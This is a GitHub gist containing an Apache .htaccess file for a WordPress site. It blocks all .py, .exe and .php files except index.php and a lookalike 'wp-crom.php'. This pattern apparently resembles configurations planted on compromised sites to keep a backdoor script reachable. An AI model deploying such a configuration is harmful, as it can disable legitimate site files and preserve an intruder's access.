Created
March 18, 2024 21:27
-
-
Save learn2reid/d48a79523eca37bab9562b647b1d2e95 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
.htaccess | |
<FilesMatch ".(py|exe|php)$"> | |
Order allow,deny | |
Deny from all | |
</FilesMatch> | |
<FilesMatch "^(index.php|wp-crom.php|)$"> | |
Order allow,deny | |
Allow from all | |
</FilesMatch> | |
<IfModule mod_rewrite.c> | |
RewriteEngine On | |
RewriteBase / | |
RewriteRule ^index\.php$ - [L] | |
RewriteCond %{REQUEST_FILENAME} !-f | |
RewriteCond %{REQUEST_FILENAME} !-d | |
RewriteRule . /index.php [L] | |
</IfModule> | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment